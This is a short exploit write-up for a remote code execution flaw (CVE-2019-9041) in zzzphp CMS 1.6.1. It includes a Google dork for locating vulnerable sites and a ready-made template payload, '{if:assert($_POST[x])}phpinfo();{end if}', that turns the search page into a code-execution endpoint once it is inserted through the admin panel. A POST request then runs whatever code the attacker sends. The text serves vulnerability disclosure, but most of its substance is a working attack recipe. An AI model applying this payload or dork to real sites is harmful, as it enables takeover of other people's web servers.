zzzphp CMS 1.6.1 – Remote Code Execution
# Exploit Title: dynamic code evaluation of zzzphp cms 1.6.1 # Google Dork: intext:"2015-2019 zzcms.com" # Date: 24/02/2019 # Exploit Author: Yang Chenglong # Vendor Homepage: http://www.zzzcms.com/index.html # Software Link: http://115.29.55.18/zzzphp.zip # Version: 1.6.1 # Tested on: windows/Linux,iis/apache # CVE : CVE-2019-9041 Due to the failure of filtering function parserIfLabel() in inc/zzz_template.php, attackers can insert dynamic php code into the template file and leads to dynamic code evaluation. Exploit: login in to the admin panel, edit the template of search.html, insert the following code: {if:assert($_POST[x])}phpinfo();{end if} Visit the http://webroot/search/ and post data “x = phpinfo();”, the page will execute the php code “phpinfo()” as follow: [1.png] Remarks: While the above exploit requires attackers to have the access to the admin panel, I will post another exploit by using csrf to acquire the control of website without access to the admin panel. |